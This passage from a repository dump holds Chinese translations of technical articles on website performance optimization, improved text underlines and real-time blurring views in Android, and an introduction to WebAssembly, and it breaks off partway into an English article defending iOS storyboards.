[Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/a-beginners-guide-to-website-optimization.md",
    "content": "> * 原文地址：[A beginner’s guide to website optimization](https://medium.freecodecamp.org/a-beginners-guide-to-website-optimization-2185edca0b72)\n> * 原文作者：[Mario Hoyos](https://medium.freecodecamp.org/@mariohoyos?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/a-beginners-guide-to-website-optimization.md](https://github.com/xitu/gold-miner/blob/master/TODO/a-beginners-guide-to-website-optimization.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[Clarence](https://github.com/ClarenceC)、[dazhi1011](https://github.com/dazhi1011)\n\n# 网站优化初学者指南\n\n![](https://cdn-images-1.medium.com/max/800/1*xNt4aprSuOo2bdYg9F-6gw.jpeg)\n\n图片由 Pexels 提供。\n\n我是一名初学者，在 Google 优化排名中，我可以达到 99/100。如果我可以做到，那么您也可以。\n\n如果您和我一样，喜欢证据。下面是 [Google 的 PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/) 结果。[hasslefreebeats](https://www.hasslefreebeats.com) 是我维护的网站，我最近花了一些时间进行优化。\n\n![](https://cdn-images-1.medium.com/max/800/1*HHW2mRHOGA7w_o9VxC4w7A.png)\n\n我的 PageSpeed Insights 分数截图。\n\n我对这些结果感到非常自豪，但是我想强调的是，几周前我还不知道如何去优化一个网站。今天我要和大家分享的只是一大堆 Google 搜素和故障排除所得出的结果，我希望可以为您省去麻烦。\n\n为了防止您想跳过，这篇文章被分成了几个小节。\n\n我绝不是专家，但我相信如果您实施以下技术，你会看到效果！\n\n### 图片\n\n![](https://cdn-images-1.medium.com/max/800/1*jkCxAOJPjPhKkQaen0rt4g.jpeg)\n\n图片由 Pexels 提供 (Medium 已做优化).\n\n作为一个网站开发初学者，我并没有想过图片的事情。我知道向我的网站添加高质量图片会使它看上去更专业，但是我从没有停下来考虑它们对我的网页加载时间的影响。\n\n我为优化图像所做的事情主要是压缩它们。\n\n回想起来，这从一开始就非常直观，只是我没有在意，可能您也一样。\n\n我用来压缩图片的服务是 [Optimizilla](http://optimizilla.com/), 一个易于使用的网站，那您只需上传图片，选择你要压缩的级别，然后下载压缩图片。我看到一些资源的大小减少了 70% 以上，这对于更快的加载时间有很大的帮助。\n\nOptimizilla 并不是您图片压缩需求的唯一选择。您可以使用一些独立的开源软件，Mac 环境下的 [ImageOptim](https://imageoptim.com/mac) 或者 Windows 环境下的 [FileOptimizer](https://sourceforge.net/projects/nikkhokkho/files/FileOptimizer/)。如果您更喜欢用构建工具进行压缩，那么可以使用 [Gulp](https://www.npmjs.com/package/gulp-imagemin) 和 [WebPack](https://github.com/Klathmon/imagemin-webpack-plugin) 插件。无论您怎么做，只要做了，那么即使是最小的努力，也会在性能上获取提升。\n\n根据您的情况，可能还需要查看文件格式。一般来说，jpg 会比 png更小。我是否使用其中一个的主要区别是我是否需要图片背后的透明度：如果我需要透明度就使用 png，否则使用 jpg。您可以在 [这里](https://www.digitaltrends.com/photography/jpeg-vs-png-photo-format/)更深入地了解这两者的利弊。\n\n此外，Google 已经推出了一种非常贴心的 webp 格式，但由于目前没有在所有浏览器被支持，所以我还在犹豫是否使用它。会留意未来是否有进一步地更新支持！\n\n我没有在我的图片上做更多的压缩来获得以上展示的结果，但是如果您想进一步优化 [这里有一篇很棒的文章。](https://www.frontamentals.com/practical-guide-to-images)\n\n### 视频\n\n![](https://cdn-images-1.medium.com/max/800/1*9NjlazjgG3HV99ZH54_NGg.jpeg)\n\n照片来自 Pexels 的 Terje Sollie。\n\n尤其是我没有在我目前的任何项目中使用视频，所以我只会简单地涉及到这一点，因为我不觉得在这方面我这是最佳的解决方案。\n\n在这种情况下我可能会让专业人士来做繁重的工作。Vimeo 为托管视频提供了一个很好的平台，在那里它们会降低视频质量，从而降低链接速度，并压缩您的视频以优化性能。 \n\n您也可以在 YouTube 上托管视频，然后使用 [youtube-dl](https://rg3.github.io/youtube-dl/) 工具从 You Tube 下载视频，同时根据您网站的需要配置视频。\n\n至于其他可能的解决方案，请查看 [Brightcove](https://www.brightcove.com/en/), [Sprout](https://sproutvideo.com/) 或者 [Wistia](https://wistia.com/).\n\n### Gzip 压缩\n\n![](https://cdn-images-1.medium.com/max/800/1*0OyByk88pz6_R9H7BGmvng.jpeg)\n\n了解了么? Zip 压缩?  Pexels 提供的图片。\n\n最初部署我的网站时，我不知道 gzip 是什么。\n\n长话短说，gzip 是一种大多数浏览器都能理解的文件压缩格式。它可以在幕后运行而不需要用户知道它正在发生。\n\n根据您应用程序所在的位置，gzip 可能非常简单，只需打开配置开关，以指定您希望服务器在发送文件时对其进行 gzip 压缩。就我而言，托管我网站的 Heroku 不提供这个选项。\n\n事实证明，在服务器代码中有些包可以进行显式压缩。这使得您只需几行代码即可获取 gzip 的好处。使用[这个](https://github.com/expressjs/compression)压缩中间件，[我能够将 JavaScript 和 CSS 捆绑包大小减少 75%。](https://codeburst.io/how-i-decreased-the-size-of-my-heroku-app-by-75-1a4cf329b0ab)\n\n检查一下您的托管服务是否提供 gzip 选项是值得的。如果没有，请查看如何将 gzip 添加到服务器代码中。\n\n### 最小化\n\n![](https://cdn-images-1.medium.com/max/800/1*HoF4YTMZzbKsCi_nEbeLeQ.jpeg)\n\n最小化的菠萝  Pexels 提供。\n\n最小化是在不影响代码功能（空格、换行符等）的情况下从代码中删除不必要字符的过程。这使您可以减少您正在通过互联网传输文件的大小。它也有助于混淆您的代码，这使得狡猾的黑客更难检测到安全弱点。\n\n如今，最小化功能通常是 Webpack 或 Gulp 或者其他方法作为构建过程的一部分。但是这些构建工具有一些学习曲线，因此如果您正在寻找更简单的替代方法，Google 推荐 [HTML-Minifier for HTML](https://github.com/kangax/html-minifier)、 [CSSNano for CSS](https://github.com/ben-eb/cssnano) 和 [UglifyJS for Javascript](https://github.com/mishoo/UglifyJS2)。\n\n### 浏览器缓存\n\n![](https://cdn-images-1.medium.com/max/800/1*OGT_IyEaWXw5gbFOoP_Ipg.jpeg)\n\n不太清楚浏览器具体如何存储数据，但它是我所能得到的最接近的。Pexels 赞助。\n\n将静态文件存储在浏览器的缓存中是提高网站速度的一种非常有效的方法，特别是在来自同一浏览器的回访时。直到 Google 告诉我，我的一些资源没有被适当地缓存，因为我从服务器发送的 HTTP 响应头中缺少标题，我才意识到这一点。\n\n一旦加载了我的主页，就会向我的服务器发送一个请求，以获取一堆歌曲的数据，然后在音乐播放器中解析这些歌曲。我不经常更新这个网站上的歌曲，所以如果这会是我的页面加载速度更快一些的话，我不介意用户在我的网站上看到他们上次访问的相同歌曲。\n\n为了提高性能，我在服务器的响应对象 (Express/Node server) 中添加了以下代码：\n\n```\nres.append(\"Cache-Control\", \"max-age=604800000\");\n\nres.status(200).json(response);\n```\n\n我在这里所做的就是在我的响应中附加一个说明超过一周（毫秒）应该重新下载资源的缓存控制头。如果您经常更新这些文件，缩短最长时间可能是个好主意。\n\n### **内容分发网络**\n\n![](https://cdn-images-1.medium.com/max/800/1*jhMPWm5Op0VRbmPC6-FX9w.jpeg)\n\n现实中的 CDN 图像，Pexels 提供。\n\n内容分发网络（CDN）是允许来自世界各地的用户在地理上更接近您的内容的网络。如果用户必须加载来自日本的大图像，但您的服务器在美国，这将比您在东京的服务器花费更长的时间。\n\nCDN 允许您利用分布在世界各地的一组代理服务器，无论您的最终用户位于何处，都可以更快加载您的内容。\n\n我想指出的是，实现 CDN 之前，我能够实现**上面**你所看到的结果--我只是想提及它们，因为没有网站优化的文章提及到他们。如果您计划拥有全世界的读者，那么在您的网站上有一些创新是绝对必要的。\n\n一些流行的 CDNs 包括 [CloudFront](https://aws.amazon.com/cloudfront/) 和 [CloudFlare](https://www.cloudflare.com/lp/ddos-a/?_bt=157293179478&_bk=cloudflare&_bm=e&_bn=g&gclid=CjwKCAiA_c7UBRAjEiwApCZi8Ri3kAEt3UraYPUFUQOMTG0Xz7WGCNRUri0UNtCOUAdUMJI8osxuDRoCTx8QAvD_BwE).\n\n### 其他方法\n\n这里有些能让您有所收获的内容：\n\n*   首先通过增加您网站的感知性能优先加载“首页”来优化您的网站。一种常见的方法是[延迟加载](https://en.wikipedia.org/wiki/Lazy_loading)没有显示在登录页面上的图像。\n*   除非您的应用程序依赖于 JavaScript 来渲染 HTML，例如使用 Angular 或者 React 来构建网站，那么它会在你 HTML 文件的 body 底部看似安全的区域加载你的 script 标签。即使这可能会影响您的[交互时间](https://developers.google.com/web/tools/lighthouse/audits/time-to-interactive)，所以我并不会对每个情况都推荐使用这种技术。\n\n### 总结\n\n当涉及到优化您的网站时，这都只是冰山一角。根据您接受的流量和所提供的服务数量，您可能会在许多不同的领域存在性能瓶颈。也许您需要更多的服务器，也许您需要一个拥有更多 RAM 的服务器，也许您的三重嵌套 for 循环可以使用一些重构--谁知道呢？\n\n对于加速您的网站来说，没有一个准确无误的方法，您最终将不得不根据您的测试来做出最好的决定。不要浪费时间去优化不需要优化的东西。分析您网站的性能，找出瓶颈，然后专门解决这些瓶颈。\n\n我希望您能在这篇文章中找到一些有用的东西！正如我所提到的，我在这个领域还有很多东西要学。如果您有任何额外的提示或者建议，请将它们留在下面的评论中！\n\n如果您喜欢我的文章，请为我鼓掌，还有以下内容：\n\n*   [当我开始编码时，我希望我已经了解的工具](https://medium.freecodecamp.org/tools-i-wish-i-had-known-about-when-i-started-coding-57849efd9248)\n*   [当我开始编码时，我希望我已经了解的工具: 重新访问](https://medium.freecodecamp.org/tools-i-wish-i-had-known-about-when-i-started-coding-revisited-ffb715ffd23f)\n\n当然，也可以关注我的 [Twitter](https://twitter.com/marioahoyos).\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/a-better-underline-for-android.md",
    "content": ">* 原文链接 : [A better underline for Android](https://medium.com/google-developers/a-better-underline-for-android-90ba3a2e4fb)\n* 原文作者 : [Romain Guy](https://medium.com/@romainguy)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [jamweak](https://github.com/jamweak)\n* 校对者: [yifili09](https://github.com/yifili09)，[whyalwaysmea](https://github.com/whyalwaysmea)\n\n# Android 中美腻的下划线\n\n在过去两年里，我经常发现一些尝试去如何提高有关在网页中渲染下划线文本修饰的[文章](https://medium.com/design/crafting-link-underlines-on-medium-7c03a9274f9)和[库](https://eager.io/blog/smarter-link-underlines/)。此类问题也同样发生在Android（平台）：下划线的文本修饰与[降部](http://www.fontke.com/article/712)相交。比较下Android当前如何绘制下划线文本(上图)以及它的替代方案(下图)：\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f5j2xgczirj20d506qmxg.jpg)\n\n<figcaption class=\"imageCaption\">你更喜欢哪一种?</figcaption>\n\n尽管我完全认可这些努力，但是我从未喜欢过任何公开的解决方法。目前最新的技术（追求艺术般的状态）—毫无疑问地会强迫开发者们受限于CSS—似乎是通过绘制线性渐变以及多重阴影（我见过多达12层的！）来实现的。这些解决方案都具有无法否认的成效，但这种绘制如此多阴影的做法，即使没有增加模糊效果，也会使得图形开发者们足够头疼了。还有一点，这种方法仅仅在实色的背景下有效。\n\n我今天下午一时兴起，开始着手发掘满足以下需求的其他解决方案:\n\n*   兼容旧版本的Android系统\n*   仅使用标准的View和Canvas APIs\n*   不需要过度重绘或者大量的阴影开销\n*   在任何背景下都有效，而不是只支持实色背景\n*   不依赖绘制流水线的操作顺序(文本先于/晚于下划线的绘制是无关紧要的)\n\n我在这里提供了两种解决方案，你可以在[GitHub](https://github.com/romainguy/elegant-underline)获取。其中一种方法适用于[API level 19](https://www.android.com/versions/kit-kat-4-4/)及以上，另外一种适用于[API level 1](http://arstechnica.com/gadgets/2014/06/building-android-a-40000-word-history-of-googles-mobile-os/6/)及以上，或者说它 _应该_ 至少支持API level 1以上，我没有完全地测试，但我相信API文档。\n\n你可以在下面的截图中观察比较下这两种被称作 _Path_ 和 _Region_ 的方法：\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f5j2y5a88nj20j10xz0vv.jpg)\n\n<figcaption class=\"imageCaption\">在Android中更好展示下划线文本的两种可能的实现方式</figcaption>\n\n### 如何实现的?\n\n这些实现背后的思想与之前提到的CSS方法出奇地类似。我们使用一整条直线段来表示下划线，剩下所需要做的就是为降部挪出空间...\n\n#### 使用Path类\n\nAPI level 19 (叫KitKat更耳熟) 中引入了一个操作路径的新API叫做[path ops](https://developer.android.com/reference/android/graphics/Path.html#op%28android.graphics.Path,%20android.graphics.Path.Op%29)。这个API允许你为实例建立两个路径的交叉点，或是从一条路径中减去其它的路径。\n\n使用这个API，制作我们想要的下划线就非常简单了。第一步就是为我们的文本[获取轮廓](https://developer.android.com/reference/android/graphics/Paint.html#getTextPath%28java.lang.String,%20int,%20int,%20float,%20float,%20android.graphics.Path%29)：\n\n    mPaint.getTextPath(mText, 0, mText.length(), 0.0f, 0.0f, mOutline);\n\n注意返回的path可以通过一种填充的样式来渲染原始文本，我们在这里要使用它来进行后续操作。\n\n![](http://ww1.sinaimg.cn/large/a490147fgw1f5j2z6baigj20m8057aaj.jpg)\n\n<figcaption class=\"imageCaption\">文本轮廓</figcaption>\n\n下一步就是剪切表示下划线的矩形轮廓。这一步不完全是必要的，但是这样可以避免在下一步可能出现的近似值偏差。我们只需使用intersection path操作就能方便的实现这一功能：\n\n    mOutline.op(mUnderline, Path.Op.INTERSECT);\n\n现在轮廓路径仅仅包含几位降部与下划线的交叉部分。\n\n![](http://ww1.sinaimg.cn/large/a490147fgw1f5j2zor2ptj20m804lwet.jpg)\n\n<figcaption class=\"imageCaption\">只有黑色区域表示是路径的一部分，其余的部分只是为了可视目的。</figcaption>\n\n剩下要做的就是从下划线中减去那些降部位置的部分。在做这个之前，我们必须扩大原始文本的尺寸来为降部与下划线间创造出间隙。这个功能可以通过划除我们剪切的轮廓然后建立一个新的填充路径实现：\n\n    mStroke.setStyle(Paint.Style.FILL_AND_STROKE);        mStroke.setStrokeWidth(UNDERLINE_CLEAR_GAP);\n    mStroke.getFillPath(mOutline, strokedOutline);\n\n划掉的宽带代表着你想为降部和下划线之间留下多大的空间。\n\n![](http://ww2.sinaimg.cn/large/a490147fgw1f5j3076zuvj20m804gq3a.jpg)\n\n<figcaption class=\"imageCaption\">划除剪切掉的轮廓</figcaption>\n\n最后一步就是使用另外一个path操作从下划线矩形轮廓中减去划除部分和剪切掉的部分：\n\n    mUnderline.op(strokedOutline, Path.Op.DIFFERENCE);\n\n最后的下划线可以使用一个填充画笔绘制：\n\n    canvas.drawPath(mUnderline, mPaint);\n\n#### 使用Region类\n\n[Region](https://developer.android.com/reference/android/graphics/Region.html)是一种在屏幕上高效展示非矩形形状的方法。你可以想象一块区域是由若干对齐到渲染缓冲区的矩形集合组成的。Regions可以被看作是_栅格化_的Path。这意味着如果我们将Path转换成Region后，我们获得的是一系列像素坐标点的集合，一旦Path被绘制，它将影响到这些获得的坐标集合。\n\nRegion有趣的地方在于它[提供了与Path相同的操作](https://developer.android.com/reference/android/graphics/Region.html#op%28android.graphics.Region,%20android.graphics.Region.Op%29)。两块Regions能够互相交错、扣除重叠的部分等等。更重要的是，Region从最早的Android API中就已经存在了。\n\n用Region实现下划线的方法几乎与用Path完全相同，主要的区别存在于轮廓何时怎样被剪切的：\n\n    Region underlineRegion = new Region(underlineRect);\n\n    // 为文本建立一个Region并且剪切掉下划线部分\n    Region outlineRegion = new Region();\n    outlineRegion.setPath(mOutline, underlineRegion);\n\n    // 提取返回的Region的Path，从而获得一份剪切后的文本轮廓的拷贝\n    mOutline.rewind();\n    outlineRegion.getBoundaryPath(mOutline);\n\n    // 划掉剪切掉的文本，将其结果转为一个填充样式的Path\n    mStroke.getFillPath(mOutline, strokedOutline);\n\n    // 使用划掉文本的轮廓建立一个Region对象\n    outlineRegion = new Region();\n    outlineRegion.setPath(strokedOutline, new Region(mBounds));\n\n    // 在下划线轮廓中扣除剪切掉的，划掉的文本轮廓\n    underlineRegion.op(outlineRegion, Region.Op.DIFFERENCE);\n\n    // 使用下划线Region建立一个Path\n    underlineRegion.getBoundaryPath(mUnderline);\n\n#### 两种方法的区别\n\n由于Path类和Region类的本质不同，两种实现间有着不易察觉的区别。因为Path类仅仅在曲线上操作，因此在我们从下划线轮廓中扣除降部时，就保留了降部轮廓的斜度，这就造成下划线空隙的边缘与降部的曲线斜度平行。这种效果或许是又或许不是所期望的。\n\n另一方面，Region类操作的是整个像素点，它会清除下划线竖向的切割（你的下划线足够细的话）。下图是两种实现的比较：\n\n![](http://ww4.sinaimg.cn/large/a490147fgw1f5j315r9vej20670bm0sx.jpg)\n\n<figcaption class=\"imageCaption\">上图: Path类. 下图: Region类. 注意到上面的斜度没？如果没有,你需要仔细看。</figcaption>\n\n### 应当在产品中使用吗?\n\n在你尝试将这些技术运用到你的应用之前，需要了解到我这次没有做任何的性能测试。请记住这些尝试很大程度上只是一种编程乐趣的挑战。所提供的代码没有根据文本的大小来适配下划线的位置，也没有适配间隙的宽度。可能在字体的适配上也有问题，我只尝试了几种Android默认的字型。就让我们将这些问题留给读者当做练习来解决吧。\n\n如果你将尝试着在你的应用里使用这些代码，那么我必须承认我将很乐于看到关于[spans](http://flavienlaurent.com/blog/2014/01/31/spans/)的实现，我会鼓励你至少缓存一下最后的填充Path。由于它仅仅依赖于字型，字体和字符串，缓存还是比较容易实现的。\n\n另外，文章中描述的这两种实现方法完全严格遵循开放的SDK API。如果在Android framework层直接实现的话，我有一些想法能使得这个功能变得更有效率。\n\n比如 _Region_ 的转换能够通过渲染自身来获得优化，而不用转换回 _Path_ 了（这会造成软件的碎片化以及GPU结构化更新）。Region类本身就是一系列矩形的集合，对于渲染流水线来说，与绘制碎片化的Path相比，绘制一系列的直线或矩形变得容易多了。\n\n你想了解更多关于Android文本的东西？学习[Android的硬件是如何加速字体渲染的？](https://medium.com/@romainguy/androids-font-renderer-c368bbde87d9#.493idqqrm)。\n\n在GitHub上获取[演示源码](https://github.com/romainguy/elegant-underline)。\n"
  },
  {
    "path": "TODO/a-blurring-view-for-android.md",
    "content": "> * 原文链接: [A Blurring View for Android](http://developers.500px.com/2015/03/17/a-blurring-view-for-android.html)\n* 原文作者 : [Jun Luo](https://500px.com/junluo)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Sausre](https://github.com/Sausure)\n* 校对者 :[lekenny](https://github.com/lekenny),[Adam Shen](https://github.com/shenxn)\n\n# 在 Android 下进行实时模糊渲染\n\n## 模糊渲染\n  模糊渲染能生动地表达内容间的层次感。当专注于当前特定内容的时候，它允许用户维持相对的上下文，即使模糊层下面的内容发生了视差移动或者动态变化。\n\n在IOS开发中，我们首先可以通过构造`UIVisualEffectView`获得这种模糊效果：\n\n    UIVisualEffect *blurEffect = [UIBlurEffect effectWithStyle:UIBlurEffectStyleLight];\n    UIVisualEffectView *visualEffectView = [[UIVisualEffectView alloc] initWithEffect:blurEffect];\n\n接着我们可以添加`visualEffectView`到视图层中，那么在它之下的内容都会动态渲染模糊效果。\n\n## 在Android中的现状\n\n虽然在Android中并没有直接的方法实现模糊渲染，但我们依然能见到些十分优秀的例子比如Yahoo Weather应用，见[Nicholas Pomepuy的博文](http://nicolaspomepuy.fr/blur-effect-for-android-design/)，然而，它是通过缓存一张预先渲染模糊的背景图片实现的。\n\n虽然这种方法挺有效果，但并不是我们想要的。在[500px](https://500px.com)社区，图片并不是用作背景而是焦点内容，这意味着图片可以随意改变甚至迅速改变，即使它们被覆盖在模糊层之下。[我们的Android应用](https://play.google.com/store/apps/details?id=com.fivehundredpx.viewer)就是个十分典型的例子。比如，当用户滑到下一页时，图片会向反方向移动并淡出，通过适当地维护多个预先渲染模糊的图片是很难满足这种需求的。\n\n![Blurring in the tour of 500px Android App](http://developers.500px.com/images/2015-03-17-500px-android-tour-blurring.png)\n\n## 通过自定义View的OnDraw方法\n\n我们的需求是希望能实现一个模糊视图，它能实时动态地模糊渲染在它之下的视图。我们最终想要的代码最好能尽量简单例如直接让模糊视图拥有一份被模糊视图的引用:\n```java\n    blurringView.setBlurredView(blurredView);\n```\n然后当被模糊视图改变时 - 不管是内容的改变（如显示张新的图片）、视图的移动、或者是视图动画，我们都需要刷新模糊视图：\n```java\n    blurringView.invalidate();\n```\n为了实现模糊视图，我们需要继承`View`类然后重写`onDraw()`方法来渲染模糊效果：\n```java\n    protected void onDraw(Canvas canvas) {\n    super.onDraw(canvas);\n\n    // 让被模糊视图的draw()方法在私有的画布上绘制\n    mBlurredView.draw(mBlurringCanvas);\n\n    // 模糊私有画布的位图并传递给mBlurredBitmap\n    blur();\n\n    // 经过转换后将mBlurredBitmap绘制在模糊视图的默认画布上\n    canvas.save();\n    canvas.translate(mBlurredView.getX() - getX(), mBlurredView.getY() - getY());\n    canvas.scale(DOWNSAMPLE_FACTOR, DOWNSAMPLE_FACTOR);\n    canvas.drawBitmap(mBlurredBitmap, 0, 0, null);\n    canvas.restore();\n    }\n```\n这里的关键是当模糊视图重绘的时候，我们会通过对被模糊视图的引用来调用它的`draw`方法，同时它会在我们私有的画布上绘画（译者注：对该画布的操作最终会作用到我们私有的位图上）:\n```java\n    mBlurredView.draw(mBlurringCanvas);\n```\n（通过这种途径访问其它的视图的`draw`方法十分有参考价值，我们也可以实现一个放大镜或者用来标注的视图，相对于模糊渲染，放大镜或者标注的区域更需要放大。）\n\n下面的想法在[Nicholas Pomepuy的博文](http://nicolaspomepuy.fr/blur-effect-for-android-design/)中有谈到,我们结合二次抽样与[RenderScript](http://developer.android.com/guide/topics/renderscript/compute.html)进行快速处理。在我们完成模糊视图的私有画布`mBlurringCanvas`的初始化后二次抽样也设置完成：\n```java\n    int scaledWidth = mBlurredView.getWidth() / DOWNSAMPLE_FACTOR;\n    int scaledHeight = mBlurredView.getHeight() / DOWNSAMPLE_FACTOR;\n\n    mBitmapToBlur = Bitmap.createBitmap(scaledWidth, scaledHeight, Bitmap.Config.ARGB_8888);\n    mBlurringCanvas = new Canvas(mBitmapToBlur);\n```\n通过了上面的设置后再适当地初始化RenderScript。那么上文`onDraw()`调用的`blur()`方法就简单多了：\n```java\n    mBlurInput.copyFrom(mBitmapToBlur);\n    mBlurScript.setInput(mBlurInput);\n    mBlurScript.forEach(mBlurOutput);\n    mBlurOutput.copyTo(mBlurredBitmap);\n```\n注意此时`mBlurredBitmap`已经渲染好了，余下的工作是`onDraw()`方法对它适当的移动和缩放后绘制到模糊视图默认画布中。\n\n## 实现细节\n\n对于完全的实现，我们需要留心多个技术细节。首先，我们意识到，8个单位的缩放采样以及15个单位的模糊半径就能很好地呈现我们想要的效果。当然，或许对你来说，别的参数才能满足你的需求。\n\n其次，在模糊位图的边缘处我们遇到了一些RenderScript的历史遗留问题,为了应对这个问题,我们对宽度和高度缩放到近似4倍。\n```java\n    // The rounding-off here is for suppressing RenderScript artifacts at the edge.\n    scaledWidth = scaledWidth - (scaledWidth % 4) + 4;\n    scaledHeight = scaledHeight - (scaledHeight % 4) + 4;\n```\n第三，我们为了更好地保证性能，需要创建两张位图分别是`mBitmapToBlur`做为私有画布`mBlurringCanvas`的底图和`mBlurredBitmap`，并会在被模糊视图的大小改变时重新创建它们。同时，我们也需要重新创建RenderScript的`Allocation`对象也就是`mBlurInput`和`mBlurOutput`。\n\n第四，为了设计的明亮程度考虑，当最上面的被模糊视图拥有属性`PorterDuff.Mode.OVERLAY`时我们也可以绘制一个统一白色半透明层。\n\n最后，由于RenderScript仅在API版本17及以上有效，我们在较低级版本也应该有个比较优雅的降级方案。可不幸的是，正如[Nicholas Pomepuy的博文](http://nicolaspomepuy.fr/blur-effect-for-android-design/)中说的那样，通过Java来实现图片模糊渲染速度上达不到实时渲染的需求。最后我们只能决定使用个有较高透明度的半透明视图做为降级方案。\n\n## 优缺点\n\n我们欣赏这个视图的绘制策略因为它能做到实时模糊同时十分简单易用。它无需知道被模糊视图的内容，同时在模糊和被模糊视图的关系之间有很大的灵活性。当然，最重要的是他很好地满足了我们的需求。\n\n然而，这种策略需要模糊视图通过适当的坐标转换来掌握被模糊视图的位置。关键是模糊视图不能是被模糊视图的子视图否则你将会收到堆栈溢出错误提示因为它们在互相调用对方的绘制方法。一个简单但又十分有效摆脱这种限制的方法是保证模糊视图是被模糊视图的姊妹视图并通过z-order来变换它们的层次关系。\n\n还有个注意点是对于矢量图和文本，默认的位图采样并不太有效。\n\n## 类库和演示\n\n你可以在[我们的Android应用](https://play.google.com/store/apps/details?id=com.fivehundredpx.viewer)中看到完全的解决方案。同时我们也[在GitHub上](https://github.com/500px/500px-android-blur)推出了一个轻量级的开源类库，里面有个演示应用来展示如何在内容发生改变和视图动画时使用该类库。\n\n![500px Blurring View Demo](https://github.com/500px/500px-android-blur/raw/master/blurdemo.gif)\n"
  },
  {
    "path": "TODO/a-cartoon-intro-to-webassembly.md",
    "content": "> * 原文地址：[A cartoon intro to WebAssembly](https://hacks.mozilla.org/2017/02/a-cartoon-intro-to-webassembly/)\n> * 原文作者：本文已获作者 [Lin Clark](https://code-cartoons.com/@linclark) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者： [根号三](https://github.com/sqrthree)\n> * 校对者：[Reid](https://github.com/reid3290)、[Tina92](https://github.com/Tina92)\n\n# 看漫画，学 WebAssembly\n\nWebAssembly 运行得很快，你可能已经听说过这个了。但是是什么让 WebAssembly 这么快呢？\n\n在这个系列的文章里，我想和你解释一下为什么 WebAssembly 这么快。\n\n## 等等，WebAssembly 究竟是什么？\n\nWebAssembly 是一种用 JavaScript 以外的编程语言编写代码并在浏览器中运行该代码的方法。因此当人们说 WebAssembly 运行得很快的时候，通常他们都是在和 JavaScript 进行比较。\n\n现在，我不想暗示这是一个二选一的情况 —— 你要么用 WebAssembly 或者用 JavaScript。事实上，我们期望开发者能够在同一个应用里面同时使用 WebAssembly 和 JavaScript。\n\n但是比较一下这二者是非常有用的，你可以因此理解 WebAssembly 将会具有的潜在影响。\n\n## 一点性能历史\n\nJavaScript 创建于 1995 年。它不是为了快而设计的，并且在最初前十年，它并不快。\n\n然后浏览器之间的竞争开始变得愈演愈烈。\n\n在 2008 年，人们所谓的“性能战争”时期开始了。很多浏览器都添加了即时编译器 —— 也叫做 JIT。当 JavaScript 运行时，JIT 可以看到模式（pattern）并且基于这些模式（pattern）让代码运行得更快。\n\n这些 JIT 的引入致使 JavaScript 的性能进入了一个转折点。JS 的执行速度快了 10 倍。\n\n![A graph showing JS execution performance increasing sharply in 2008](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/01-01-perf_graph05-500x409.png)\n\n通过这种性能的改善，JavaScript 开始被用于没有人期望用它来做的一些事情上。例如使用 Node.js 进行服务端编程。性能的改善使得在一个全新的问题上使用 JavaScript 成为了可能。\n\n伴随着 WebAssembly，我们现在可能正处于另一个转折点。\n\n![A graph showing another performance spike in 2017 with a question mark next to it](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/01-02-perf_graph10-500x412.png)\n\n因此，让我们深入细节之中，来理解是什么使得 WebAssembly 很快。\n\n[第二篇传送门](https://github.com/xitu/gold-miner/blob/master/TODO/a-crash-course-in-just-in-time-jit-compilers.md)\n"
  },
  {
    "path": "TODO/a-case-for-using-storyboards-on-ios.md",
    "content": "> * 原文地址：[A Case For Using Storyboards on iOS](https://medium.cobeisfresh.com/a-case-for-using-storyboards-on-ios-3bbe69efbdf4)\n> * 原文作者：[Marin Benčević](https://medium.cobeisfresh.com/@marinbenc)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：\n> * 校对者：\n\n# A Case For Using Storyboards on iOS #\n\n![](https://cdn-images-1.medium.com/max/2000/1*YsN0CVtTY3I5d6UUEtUv6Q.png)\n\nI’ve seen a lot of articles recently that argue against using storyboards when creating iOS apps. The most commonly mentioned arguments are that storyboards are not human readable, they are slow and they cause git conflicts. These are all valid concerns, but can be avoided. I want to tell you how we use storyboards on non-trivial projects, and how you can avoid these concerns and still get the nice things storyboards give you.\n\n#### Why use storyboards?\n\n> A picture is worth a thousand words.\n\nHumans are visual thinkers. The vast majority of information we receive is through our eyes, and our brains are incredibly complex visual pattern matching machines, which help us understand the world around us.\n\nStoryboards give you an overview of a screen in your app, unmatched by code representation, whether it’s XML or plain Swift. When you open up a storyboard, you can see all views, their positions and their hierarchies in a second. For each view, you can see all the constraints that affect it, and how it interacts with other views. The efficiency of transferring information visually can’t be matched with text.\n\nAnother benefit of storyboards is that it makes auto layout more 